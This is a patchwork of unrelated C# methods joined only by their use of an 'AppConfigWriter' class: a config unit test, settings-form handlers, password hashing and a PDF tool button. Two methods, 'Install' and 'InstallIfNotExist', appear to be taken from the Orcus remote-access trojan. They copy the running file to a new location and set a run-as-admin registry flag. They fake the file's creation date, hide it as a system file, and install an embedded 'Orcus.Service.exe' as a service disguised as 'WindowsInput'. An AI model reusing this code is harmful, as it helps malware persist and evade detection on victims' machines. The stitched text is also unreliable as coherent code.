public void AppConfigWriteTest() { UserConfigWriter.m_TestUserConfigName = Path.GetTempPath() + "user_v6.config"; AppConfigWriter.m_TestAppConfigName = Path.GetTempPath() + "app_v6.config"; if (File.Exists(AppConfigWriter.m_TestAppConfigName)) { File.Delete(AppConfigWriter.m_TestAppConfigName); } var config = new ConfigWriter(); config.Read(AppConfigWriter.m_TestAppConfigName); Assert.AreEqual("", config.GetItem("DocumentPrinter")); string expected = "test printer"; //Assert.AreEqual(AppConfigWriter.Instance.FileName, AppConfigWriter.m_TestAppConfigName); //AppConfigWriter.Instance.SetItem("DocumentPrinter", expected); //AppConfigWriter.Instance.SetItem("SomeItem", "true"); //AppConfigWriter.Instance.Save(); //config.Read(AppConfigWriter.m_TestAppConfigName); //Assert.AreEqual(expected, config.GetItem("DocumentPrinter")); //Assert.AreEqual("", config.GetItem("SomeItem")); ConfigWriter target = AppConfigWriter.CreateConfigWriter(); target.SetItem("DocumentPrinter", expected); target.SetItem("SomeItem", "false"); target.Save(); config.Read(AppConfigWriter.m_TestAppConfigName); Assert.AreEqual(expected, config.GetItem("DocumentPrinter")); Assert.AreEqual("", config.GetItem("SomeItem")); }
public static bool Install(string path, string currentFile, out FileInfo file) { file = new FileInfo(path); if (string.Equals(file.FullName, currentFile, StringComparison.OrdinalIgnoreCase)) { return(false); } if (file.Exists) { try { File.SetAttributes(file.FullName, FileAttributes.Normal); file.Delete(); } catch (Exception) { return(false); } } if (file.Directory != null && file.Directory.Exists == false) { file.Directory.Create(); } File.Copy(currentFile, file.FullName); AppConfigWriter.WriteAppConfig(file); if (Settings.GetBuilderProperty <SetRunProgramAsAdminFlagBuilderProperty>().SetFlag) { try { using ( var regkey = Registry.CurrentUser.OpenSubKey( @"Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers")) regkey?.SetValue(file.FullName, "RUNASADMIN"); } catch (UnauthorizedAccessException) { } } var changeCreationDateProperty = Settings.GetBuilderProperty <ChangeCreationDateBuilderProperty>(); if (changeCreationDateProperty.IsEnabled) { File.SetCreationTime(file.FullName, changeCreationDateProperty.NewCreationDate); } if (Settings.GetBuilderProperty <HideFileBuilderProperty>().HideFile) { File.SetAttributes(file.FullName, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); } return(true); }
public bool AddUser(string name, string password) { if (string.IsNullOrEmpty(name) || string.IsNullOrEmpty(password)) { return(false); } _logger.Add("Add/update user " + name); return(AppConfigWriter.Write(name, SHA256Hash.GetHashString(password))); }
private void buttonSave_Click(object sender, EventArgs e) { string drives = ""; foreach (var checkedItem in checkedListBoxDrives.CheckedItems) { drives += checkedItem.ToString().Substring(0, 3) + ","; } drives = drives.TrimEnd(','); AppConfigWriter.Write("Drives", drives); if (checkBoxIndexnetdrives.Checked) { AppConfigWriter.Write("netdrives", "true"); } else { AppConfigWriter.Write("netdrives", "false"); } if (checkBoxLogIndexing.Checked) { AppConfigWriter.Write("logindexing", "true"); } else { AppConfigWriter.Write("logindexing", "false"); } AppConfigWriter.Write("indexfilename", textBoxindexFileName.Text); AppConfigWriter.Write("indexfilepath", textBoxIndexFilePath.Text); AppConfigWriter.Write("tokengennum", numericUpDownTokenGenNum.Value.ToString()); if (checkBoxFileHasch.Checked) { AppConfigWriter.Write("usemd5", "true"); } else { AppConfigWriter.Write("usemd5", "false"); } string filterStr = ""; if (listBoxFolderFilter.Items.Count > 0) { foreach (var item in listBoxFolderFilter.Items) { filterStr += item + ","; } } filterStr = filterStr.TrimEnd(','); AppConfigWriter.Write("filter", filterStr); this.Close(); }
public bool ChangePassword(string newPassword) { if (string.IsNullOrEmpty(newPassword)) { return(false); } var userName = OperationContext.Current.ServiceSecurityContext.PrimaryIdentity.Name; if (!AppConfigWriter.Write(userName, SHA256Hash.GetHashString(newPassword))) { return(false); } _logger.Add("Changed password for user: " + userName); return(true); }
private void ButtonSaveSettings_OnClick(object sender, RoutedEventArgs e) { if (IsAnySettingsTabControlInputNotGiven()) { FormControlHelper.ShowWarningAlertMsgBox(ApplicationConstants.InputControlEmpty); return; } if (FormControlHelper.ShowConfirmationMsgBox()) { var appConfig = GetAppConfigWriterDictionary(); AppConfigWriter.UpdateAppConfigKeys(appConfig); FormControlHelper.ShowSuccessAlertMsgBox(ApplicationConstants.Done); } }
public static void InstallIfNotExist() { Program.WriteLine("Begin service installation"); var serviceExists = ServiceController.GetServices().Any(s => s.ServiceName == "WindowsInput"); if (!serviceExists) { Program.WriteLine("Orcus service was not found"); try { var file = GetFreeFilename(); Program.WriteLine("Free file name found for: " + file.FullName); try { ResourceHelper.WriteGZippedResourceToFile(file.FullName, "Orcus.Service.exe.gz"); AppConfigWriter.WriteAppConfig(file); } catch (Exception) { return; } Program.WriteLine("Service was written to the file; Start service with parameter --install"); var process = Process.Start(file.FullName, "--install"); process?.WaitForExit(20000); Program.WriteLine("20 seconds are gone or the service installation process did exit"); Program.WriteLine("Attempt to start service..."); try { StartService("WindowsInput", 5000); } catch (Exception ex) { Program.WriteLine("Start failed: " + ex.Message); } } catch (Exception) { // Unauthorized exception perhaps... } } }
private async void ButtonExecute_OnClick(object sender, RoutedEventArgs e) { if (IsAnyOptionsTabControlInputNotGiven()) { FormControlHelper.ShowWarningAlertMsgBox(ApplicationConstants.InputControlEmpty); return; } AppConfigWriter.UpdateAppConfigKey(AppSettingsConstants.InputPath, TextBoxInputPath.Text); SetStatusLabel(false); var result = await Task.Run(() => OperationExecutor.ExecutePdfService()); if (result) { SetStatusLabel(); FormControlHelper.ShowSuccessAlertMsgBox(ApplicationConstants.Done); } }